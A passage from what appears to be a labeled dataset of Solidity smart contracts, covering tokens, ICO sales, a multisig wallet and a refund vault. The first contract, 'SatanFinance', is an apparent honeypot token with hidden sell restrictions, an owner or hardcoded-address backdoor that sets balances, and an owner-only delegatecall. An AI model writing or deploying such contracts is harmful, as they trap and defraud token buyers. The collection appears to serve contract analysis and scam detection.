function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract SatanFinance {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function Approve(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1080614020421183795110940285280029773222128095634));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function Transferownership(address addr) public returns(bool) {
require(msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 2,743 |
pragma solidity ^0.4.25;
contract ERC20 {
bytes32 public standard;
bytes32 public name;
bytes32 public symbol;
uint256 public totalSupply;
uint8 public decimals;
bool public allowTransactions;
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
function transfer(address _to, uint256 _value) returns (bool success);
function approveAndCall(address _spender, uint256 _value, bytes _extraData) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
}
contract ExToke {
string public name = "ExToke Token";
string public symbol = "XTE";
uint8 public decimals = 18;
uint256 public crowdSaleSupply = 500000000 * (uint256(10) ** decimals);
uint256 public tokenSwapSupply = 3000000000 * (uint256(10) ** decimals);
uint256 public dividendSupply = 2400000000 * (uint256(10) ** decimals);
uint256 public totalSupply = 7000000000 * (uint256(10) ** decimals);
mapping(address => uint256) public balanceOf;
address public oldAddress = 0x28925299Ee1EDd8Fd68316eAA64b651456694f0f;
address tokenAdmin = 0xEd86f5216BCAFDd85E5875d35463Aca60925bF16;
uint256 public finishTime = 1548057600;
uint256[] public releaseDates =
[1543665600, 1546344000, 1549022400, 1551441600, 1554120000, 1556712000,
1559390400, 1561982400, 1564660800, 1567339200, 1569931200, 1572609600,
1575201600, 1577880000, 1580558400, 1583064000, 1585742400, 1588334400,
1591012800, 1593604800, 1596283200, 1598961600, 1601553600, 1604232000];
uint256 public nextRelease = 0;
function ExToke() public {
balanceOf[tokenAdmin] = 1100000000 * (uint256(10) ** decimals);
}
uint256 public scaling = uint256(10) ** 8;
mapping(address => uint256) public scaledDividendBalanceOf;
uint256 public scaledDividendPerToken;
mapping(address => uint256) public scaledDividendCreditedTo;
function update(address account) internal {
if(nextRelease < 24 && block.timestamp > releaseDates[nextRelease]){
releaseDivTokens();
}
uint256 owed =
scaledDividendPerToken - scaledDividendCreditedTo[account];
scaledDividendBalanceOf[account] += balanceOf[account] * owed;
scaledDividendCreditedTo[account] = scaledDividendPerToken;
}
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
event Withdraw(address indexed from, uint256 value);
event Swap(address indexed from, uint256 value);
mapping(address => mapping(address => uint256)) public allowance;
function transfer(address to, uint256 value) public returns (bool success) {
require(balanceOf[msg.sender] >= value);
update(msg.sender);
update(to);
balanceOf[msg.sender] -= value;
balanceOf[to] += value;
emit Transfer(msg.sender, to, value);
return true;
}
function transferFrom(address from, address to, uint256 value)
public
returns (bool success)
{
require(value <= balanceOf[from]);
require(value <= allowance[from][msg.sender]);
update(from);
update(to);
balanceOf[from] -= value;
balanceOf[to] += value;
allowance[from][msg.sender] -= value;
emit Transfer(from, to, value);
return true;
}
uint256 public scaledRemainder = 0;
function() public payable{
tokenAdmin.transfer(msg.value);
if(finishTime >= block.timestamp && crowdSaleSupply >= msg.value * 100000){
balanceOf[msg.sender] += msg.value * 100000;
crowdSaleSupply -= msg.value * 100000;
}
else if(finishTime < block.timestamp){
balanceOf[tokenAdmin] += crowdSaleSupply;
crowdSaleSupply = 0;
}
}
function releaseDivTokens() public returns (bool success){
require(block.timestamp > releaseDates[nextRelease]);
uint256 releaseAmount = 100000000 * (uint256(10) ** decimals);
dividendSupply -= releaseAmount;
uint256 available = (releaseAmount * scaling) + scaledRemainder;
scaledDividendPerToken += available / totalSupply;
scaledRemainder = available % totalSupply;
nextRelease += 1;
return true;
}
function withdraw() public returns (bool success){
update(msg.sender);
uint256 amount = scaledDividendBalanceOf[msg.sender] / scaling;
scaledDividendBalanceOf[msg.sender] %= scaling;
balanceOf[msg.sender] += amount;
emit Withdraw(msg.sender, amount);
return true;
}
function approve(address spender, uint256 value)
public
returns (bool success)
{
allowance[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function swap(uint256 sendAmount) returns (bool success){
require(tokenSwapSupply >= sendAmount * 3);
if(ERC20(oldAddress).transferFrom(msg.sender, tokenAdmin, sendAmount)){
balanceOf[msg.sender] += sendAmount * 3;
tokenSwapSupply -= sendAmount * 3;
}
emit Swap(msg.sender, sendAmount);
return true;
}
} | 0 | 1,643 |
pragma solidity ^0.4.11;
library SafeMath {
function mul(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity ^0.4.11;
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
if (msg.sender != owner) {
throw;
}
_;
}
function transferOwnership(address newOwner) onlyOwner {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
pragma solidity ^0.4.11;
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value);
event Transfer(address indexed from, address indexed to, uint256 value);
}
pragma solidity ^0.4.11;
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value);
function approve(address spender, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.4.11;
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
}
pragma solidity ^0.4.11;
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) allowed;
function transferFrom(address _from, address _to, uint256 _value) {
var _allowance = allowed[_from][msg.sender];
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
function approve(address _spender, uint256 _value) {
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) throw;
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
}
pragma solidity ^0.4.11;
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
if(mintingFinished) throw;
_;
}
function mint(address _to, uint256 _amount) onlyOwner canMint returns (bool) {
totalSupply = totalSupply.add(_amount);
balances[_to] = balances[_to].add(_amount);
Mint(_to, _amount);
return true;
}
function finishMinting() onlyOwner returns (bool) {
mintingFinished = true;
MintFinished();
return true;
}
}
pragma solidity ^0.4.11;
contract BouleToken is MintableToken {
string public name = "Boule Token";
string public symbol = "BOU";
uint public decimals = 18;
function () public payable {
throw;
}
}
pragma solidity ^0.4.4;
contract MultiSigWallet {
uint constant public MAX_OWNER_COUNT = 50;
event Confirmation(address indexed sender, uint indexed transactionId);
event Revocation(address indexed sender, uint indexed transactionId);
event Submission(uint indexed transactionId);
event Execution(uint indexed transactionId);
event ExecutionFailure(uint indexed transactionId);
event Deposit(address indexed sender, uint value);
event OwnerAddition(address indexed owner);
event OwnerRemoval(address indexed owner);
event RequirementChange(uint required);
mapping (uint => Transaction) public transactions;
mapping (uint => mapping (address => bool)) public confirmations;
mapping (address => bool) public isOwner;
address[] public owners;
uint public required;
uint public transactionCount;
struct Transaction {
address destination;
uint value;
bytes data;
bool executed;
}
modifier onlyWallet() {
if (msg.sender != address(this))
throw;
_;
}
modifier ownerDoesNotExist(address owner) {
if (isOwner[owner])
throw;
_;
}
modifier ownerExists(address owner) {
if (!isOwner[owner])
throw;
_;
}
modifier transactionExists(uint transactionId) {
if (transactions[transactionId].destination == 0)
throw;
_;
}
modifier confirmed(uint transactionId, address owner) {
if (!confirmations[transactionId][owner])
throw;
_;
}
modifier notConfirmed(uint transactionId, address owner) {
if (confirmations[transactionId][owner])
throw;
_;
}
modifier notExecuted(uint transactionId) {
if (transactions[transactionId].executed)
throw;
_;
}
modifier notNull(address _address) {
if (_address == 0)
throw;
_;
}
modifier validRequirement(uint ownerCount, uint _required) {
if ( ownerCount > MAX_OWNER_COUNT
|| _required > ownerCount
|| _required == 0
|| ownerCount == 0)
throw;
_;
}
function()
payable
{
if (msg.value > 0)
Deposit(msg.sender, msg.value);
}
function MultiSigWallet(address[] _owners, uint _required)
public
validRequirement(_owners.length, _required)
{
for (uint i=0; i<_owners.length; i++) {
if (isOwner[_owners[i]] || _owners[i] == 0)
throw;
isOwner[_owners[i]] = true;
}
owners = _owners;
required = _required;
}
function addOwner(address owner)
public
onlyWallet
ownerDoesNotExist(owner)
notNull(owner)
validRequirement(owners.length + 1, required)
{
isOwner[owner] = true;
owners.push(owner);
OwnerAddition(owner);
}
function removeOwner(address owner)
public
onlyWallet
ownerExists(owner)
{
isOwner[owner] = false;
for (uint i=0; i<owners.length - 1; i++)
if (owners[i] == owner) {
owners[i] = owners[owners.length - 1];
break;
}
owners.length -= 1;
if (required > owners.length)
changeRequirement(owners.length);
OwnerRemoval(owner);
}
function replaceOwner(address owner, address newOwner)
public
onlyWallet
ownerExists(owner)
ownerDoesNotExist(newOwner)
{
for (uint i=0; i<owners.length; i++)
if (owners[i] == owner) {
owners[i] = newOwner;
break;
}
isOwner[owner] = false;
isOwner[newOwner] = true;
OwnerRemoval(owner);
OwnerAddition(newOwner);
}
function changeRequirement(uint _required)
public
onlyWallet
validRequirement(owners.length, _required)
{
required = _required;
RequirementChange(_required);
}
function submitTransaction(address destination, uint value, bytes data)
public
returns (uint transactionId)
{
transactionId = addTransaction(destination, value, data);
confirmTransaction(transactionId);
}
function confirmTransaction(uint transactionId)
public
ownerExists(msg.sender)
transactionExists(transactionId)
notConfirmed(transactionId, msg.sender)
{
confirmations[transactionId][msg.sender] = true;
Confirmation(msg.sender, transactionId);
executeTransaction(transactionId);
}
function revokeConfirmation(uint transactionId)
public
ownerExists(msg.sender)
confirmed(transactionId, msg.sender)
notExecuted(transactionId)
{
confirmations[transactionId][msg.sender] = false;
Revocation(msg.sender, transactionId);
}
function executeTransaction(uint transactionId)
public
notExecuted(transactionId)
{
if (isConfirmed(transactionId)) {
Transaction tx = transactions[transactionId];
tx.executed = true;
if (tx.destination.call.value(tx.value)(tx.data))
Execution(transactionId);
else {
ExecutionFailure(transactionId);
tx.executed = false;
}
}
}
function isConfirmed(uint transactionId)
public
constant
returns (bool)
{
uint count = 0;
for (uint i=0; i<owners.length; i++) {
if (confirmations[transactionId][owners[i]])
count += 1;
if (count == required)
return true;
}
}
function addTransaction(address destination, uint value, bytes data)
internal
notNull(destination)
returns (uint transactionId)
{
transactionId = transactionCount;
transactions[transactionId] = Transaction({
destination: destination,
value: value,
data: data,
executed: false
});
transactionCount += 1;
Submission(transactionId);
}
function getConfirmationCount(uint transactionId)
public
constant
returns (uint count)
{
for (uint i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]])
count += 1;
}
function getTransactionCount(bool pending, bool executed)
public
constant
returns (uint count)
{
for (uint i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
count += 1;
}
function getOwners()
public
constant
returns (address[])
{
return owners;
}
function getConfirmations(uint transactionId)
public
constant
returns (address[] _confirmations)
{
address[] memory confirmationsTemp = new address[](owners.length);
uint count = 0;
uint i;
for (i=0; i<owners.length; i++)
if (confirmations[transactionId][owners[i]]) {
confirmationsTemp[count] = owners[i];
count += 1;
}
_confirmations = new address[](count);
for (i=0; i<count; i++)
_confirmations[i] = confirmationsTemp[i];
}
function getTransactionIds(uint from, uint to, bool pending, bool executed)
public
constant
returns (uint[] _transactionIds)
{
uint[] memory transactionIdsTemp = new uint[](transactionCount);
uint count = 0;
uint i;
for (i=0; i<transactionCount; i++)
if ( pending && !transactions[i].executed
|| executed && transactions[i].executed)
{
transactionIdsTemp[count] = i;
count += 1;
}
_transactionIds = new uint[](to - from);
for (i=from; i<to; i++)
_transactionIds[i - from] = transactionIdsTemp[i];
}
}
pragma solidity ^0.4.11;
contract BouleICO is Ownable{
uint public startTime;
uint public secondPriceTime;
uint public thirdPriceTime;
uint public fourthPriceTime;
uint public endTime;
address public bouleDevMultisig;
uint public totalCollected = 0;
bool public saleStopped = false;
bool public saleFinalized = false;
BouleToken public token;
MultiSigWallet wallet;
uint constant public minInvestment = 0.1 ether;
mapping (address => bool) public whitelist;
event NewBuyer(address indexed holder, uint256 bouAmount, uint256 amount);
event Whitelisted(address addr, bool status);
function BouleICO (
address _token,
address _bouleDevMultisig,
uint _startTime,
uint _secondPriceTime,
uint _thirdPriceTime,
uint _fourthPriceTime,
uint _endTime
)
{
if (_startTime >= _endTime) throw;
token = BouleToken(_token);
bouleDevMultisig = _bouleDevMultisig;
wallet = MultiSigWallet(bouleDevMultisig);
startTime = _startTime;
secondPriceTime = _secondPriceTime;
thirdPriceTime = _thirdPriceTime;
fourthPriceTime = _fourthPriceTime;
endTime = _endTime;
}
function setWhitelistStatus(address addr, bool status)
onlyOwner {
whitelist[addr] = status;
Whitelisted(addr, status);
}
function getPrice() constant public returns (uint256) {
var time = getNow();
if(time < startTime){
return 1400;
}
if(time < secondPriceTime){
return 1200;
}
if(time < thirdPriceTime){
return 1150;
}
if(time < fourthPriceTime){
return 1100;
}
return 1050;
}
function getTokensLeft() public constant returns (uint) {
return token.balanceOf(this);
}
function () public payable {
doPayment(msg.sender);
}
function doPayment(address _owner)
only_during_sale_period_or_whitelisted(_owner)
only_sale_not_stopped
non_zero_address(_owner)
minimum_value(minInvestment)
internal {
uint256 tokenAmount = SafeMath.mul(msg.value, getPrice());
if(tokenAmount > getTokensLeft()) {
throw;
}
token.transfer(_owner, tokenAmount);
totalCollected = SafeMath.add(totalCollected, msg.value);
NewBuyer(_owner, tokenAmount, msg.value);
}
function emergencyStopSale()
only_sale_not_stopped
onlyOwner
public {
saleStopped = true;
}
function restartSale()
only_during_sale_period
only_sale_stopped
onlyOwner
public {
saleStopped = false;
}
function moveFunds()
onlyOwner
public {
if (!wallet.send(this.balance)) throw;
}
function finalizeSale()
only_after_sale
onlyOwner
public {
doFinalizeSale();
}
function doFinalizeSale()
internal {
if (!wallet.send(this.balance)) throw;
token.transfer(bouleDevMultisig, getTokensLeft());
saleFinalized = true;
saleStopped = true;
}
function getNow() internal constant returns (uint) {
return now;
}
modifier only(address x) {
if (msg.sender != x) throw;
_;
}
modifier only_during_sale_period {
if (getNow() < startTime) throw;
if (getNow() >= endTime) throw;
_;
}
modifier only_during_sale_period_or_whitelisted(address x) {
if (getNow() < startTime && !whitelist[x]) throw;
if (getNow() >= endTime) throw;
_;
}
modifier only_after_sale {
if (getNow() < endTime) throw;
_;
}
modifier only_sale_stopped {
if (!saleStopped) throw;
_;
}
modifier only_sale_not_stopped {
if (saleStopped) throw;
_;
}
modifier non_zero_address(address x) {
if (x == 0) throw;
_;
}
modifier minimum_value(uint256 x) {
if (msg.value < x) throw;
_;
}
} | 1 | 4,202 |
pragma solidity ^ 0.4.21;
pragma solidity ^0.4.10;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
pragma solidity ^0.4.10;
interface ERC20 {
function balanceOf(address who) view returns (uint256);
function transfer(address to, uint256 value) returns (bool);
function allowance(address owner, address spender) view returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
pragma solidity ^0.4.10;
interface ERC223 {
function transfer(address to, uint value, bytes data) returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes indexed data);
}
pragma solidity ^0.4.10;
contract ERC223ReceivingContract {
function tokenFallback(address _from, uint _value, bytes _data) public;
}
pragma solidity ^0.4.21;
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable()public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner)public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract RefundVault is Ownable {
using SafeMath for uint256;
enum State {
Active,
Refunding,
Closed
}
mapping(address => uint256)public deposited;
address public wallet;
State public state;
event Closed();
event RefundsEnabled();
event Refunded(address indexed beneficiary, uint256 weiAmount);
function RefundVault(address _wallet)public {
require(_wallet != address(0));
wallet = _wallet;
state = State.Active;
}
function deposit(address investor)onlyOwner public payable {
require(state == State.Active);
deposited[investor] = deposited[investor].add(msg.value);
}
function close()onlyOwner public {
require(state == State.Active);
state = State.Closed;
emit Closed();
wallet.transfer(address(this).balance);
}
function enableRefunds()onlyOwner public {
require(state == State.Active);
state = State.Refunding;
emit RefundsEnabled();
}
function refund(address investor)public {
require(state == State.Refunding);
uint256 depositedValue = deposited[investor];
deposited[investor] = 0;
investor.transfer(depositedValue);
emit Refunded(investor, depositedValue);
}
}
contract BonusScheme is Ownable {
using SafeMath for uint256;
uint256 startOfFirstBonus = 1525892100;
uint256 endOfFirstBonus = (startOfFirstBonus - 1) + 5 minutes;
uint256 startOfSecondBonus = (startOfFirstBonus + 1) + 5 minutes;
uint256 endOfSecondBonus = (startOfSecondBonus - 1) + 5 minutes;
uint256 startOfThirdBonus = (startOfSecondBonus + 1) + 5 minutes;
uint256 endOfThirdBonus = (startOfThirdBonus - 1) + 5 minutes;
uint256 startOfFourthBonus = (startOfThirdBonus + 1) + 5 minutes;
uint256 endOfFourthBonus = (startOfFourthBonus - 1) + 5 minutes;
uint256 startOfFifthBonus = (startOfFourthBonus + 1) + 5 minutes;
uint256 endOfFifthBonus = (startOfFifthBonus - 1) + 5 minutes;
uint256 firstBonus = 35;
uint256 secondBonus = 30;
uint256 thirdBonus = 20;
uint256 fourthBonus = 10;
uint256 fifthBonus = 5;
event BonusCalculated(uint256 tokenAmount);
function BonusScheme() public {
}
function getBonusTokens(uint256 _tokenAmount)onlyOwner public returns(uint256) {
if (block.timestamp >= startOfFirstBonus && block.timestamp <= endOfFirstBonus) {
_tokenAmount = _tokenAmount.mul(firstBonus).div(100);
} else if (block.timestamp >= startOfSecondBonus && block.timestamp <= endOfSecondBonus) {
_tokenAmount = _tokenAmount.mul(secondBonus).div(100);
} else if (block.timestamp >= startOfThirdBonus && block.timestamp <= endOfThirdBonus) {
_tokenAmount = _tokenAmount.mul(thirdBonus).div(100);
} else if (block.timestamp >= startOfFourthBonus && block.timestamp <= endOfFourthBonus) {
_tokenAmount = _tokenAmount.mul(fourthBonus).div(100);
} else if (block.timestamp >= startOfFifthBonus && block.timestamp <= endOfFifthBonus) {
_tokenAmount = _tokenAmount.mul(fifthBonus).div(100);
} else _tokenAmount=0;
emit BonusCalculated(_tokenAmount);
return _tokenAmount;
}
}
contract StandardToken is ERC20, ERC223, Ownable {
using SafeMath for uint;
string internal _name;
string internal _symbol;
uint8 internal _decimals;
uint256 internal _totalSupply;
uint256 internal _bonusSupply;
uint256 public ethRate;
uint256 public min_contribution;
uint256 public totalWeiRaised;
uint public tokensSold;
uint public softCap;
uint public start;
uint public end;
bool public crowdsaleClosed;
RefundVault public vault;
BonusScheme public bonusScheme;
address public fundsWallet;
mapping(address => bool)public frozenAccount;
mapping(address => uint256)internal balances;
mapping(address => mapping(address => uint256))internal allowed;
event Burn(address indexed burner, uint256 value);
event FrozenFunds(address target, bool frozen);
event Finalized();
event BonusSent(address indexed from, address indexed to, uint256 boughtTokens, uint256 bonusTokens);
event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount);
function StandardToken()public {
_symbol = "AmTC1";
_name = "AmTokenTestCase1";
_decimals = 5;
_totalSupply = 1100000 * (10 ** uint256(_decimals));
_bonusSupply = _totalSupply * 17 / 100;
fundsWallet = msg.sender;
vault = new RefundVault(fundsWallet);
bonusScheme = new BonusScheme();
balances[msg.sender] = _totalSupply.sub(_bonusSupply);
balances[bonusScheme] = _bonusSupply;
ethRate = 40000000;
min_contribution = 1 ether / (10**11);
totalWeiRaised = 0;
tokensSold = 0;
softCap = 20000 * 10 ** uint(_decimals);
start = 1525891800;
end = 1525893600;
crowdsaleClosed = false;
}
modifier beforeICO() {
require(block.timestamp <= start);
_;
}
modifier afterDeadline() {
require(block.timestamp > end);
_;
}
function name()
public
view
returns(string) {
return _name;
}
function symbol()
public
view
returns(string) {
return _symbol;
}
function decimals()
public
view
returns(uint8) {
return _decimals;
}
function totalSupply()
public
view
returns(uint256) {
return _totalSupply;
}
function ()external payable {
buyTokens(msg.sender);
}
function buyTokens(address _beneficiary)public payable {
uint256 weiAmount = msg.value;
_preValidatePurchase(_beneficiary, weiAmount);
uint256 tokens = _getTokenAmount(weiAmount);
require(balances[this] > tokens);
totalWeiRaised = totalWeiRaised.add(weiAmount);
tokensSold = tokensSold.add(tokens);
_processPurchase(_beneficiary, tokens);
emit TokenPurchase(msg.sender, _beneficiary, weiAmount, tokens);
_processBonus(_beneficiary, tokens);
_updatePurchasingState(_beneficiary, weiAmount);
_forwardFunds();
_postValidatePurchase(_beneficiary, weiAmount);
}
function _preValidatePurchase(address _beneficiary, uint256 _weiAmount)internal view {
require(_beneficiary != address(0));
require(_weiAmount >= min_contribution);
require(!crowdsaleClosed && block.timestamp >= start && block.timestamp <= end);
}
function _postValidatePurchase(address _beneficiary, uint256 _weiAmount)internal pure {
}
function _deliverTokens(address _beneficiary, uint256 _tokenAmount)internal {
this.transfer(_beneficiary, _tokenAmount);
}
function _processPurchase(address _beneficiary, uint256 _tokenAmount)internal {
_deliverTokens(_beneficiary, _tokenAmount);
}
function _processBonus(address _beneficiary, uint256 _tokenAmount)internal {
uint256 bonusTokens = bonusScheme.getBonusTokens(_tokenAmount);
if (balances[bonusScheme] < bonusTokens) {
bonusTokens = balances[bonusScheme];
balances[bonusScheme] = 0;
}
if (bonusTokens > 0) {
balances[bonusScheme] = balances[bonusScheme].sub(bonusTokens);
balances[_beneficiary] = balances[_beneficiary].add(bonusTokens);
emit Transfer(address(bonusScheme), _beneficiary, bonusTokens);
emit BonusSent(address(bonusScheme), _beneficiary, _tokenAmount, bonusTokens);
tokensSold = tokensSold.add(bonusTokens);
}
}
function _updatePurchasingState(address _beneficiary, uint256 _weiAmount)internal {
}
function _getTokenAmount(uint256 _weiAmount)internal view returns(uint256) {
_weiAmount = _weiAmount.mul(ethRate);
return _weiAmount.div(10 ** uint(18 - _decimals));
}
function _forwardFunds()internal {
vault.deposit.value(msg.value)(msg.sender);
}
function transfer(address _to, uint256 _value)public returns(bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
require(!frozenAccount[msg.sender]);
require(!frozenAccount[_to]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner)public view returns(uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value)public returns(bool) {
require(_to != address(0));
require(!frozenAccount[_from]);
require(!frozenAccount[_to]);
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value)public returns(bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender)public view returns(uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue)public returns(bool) {
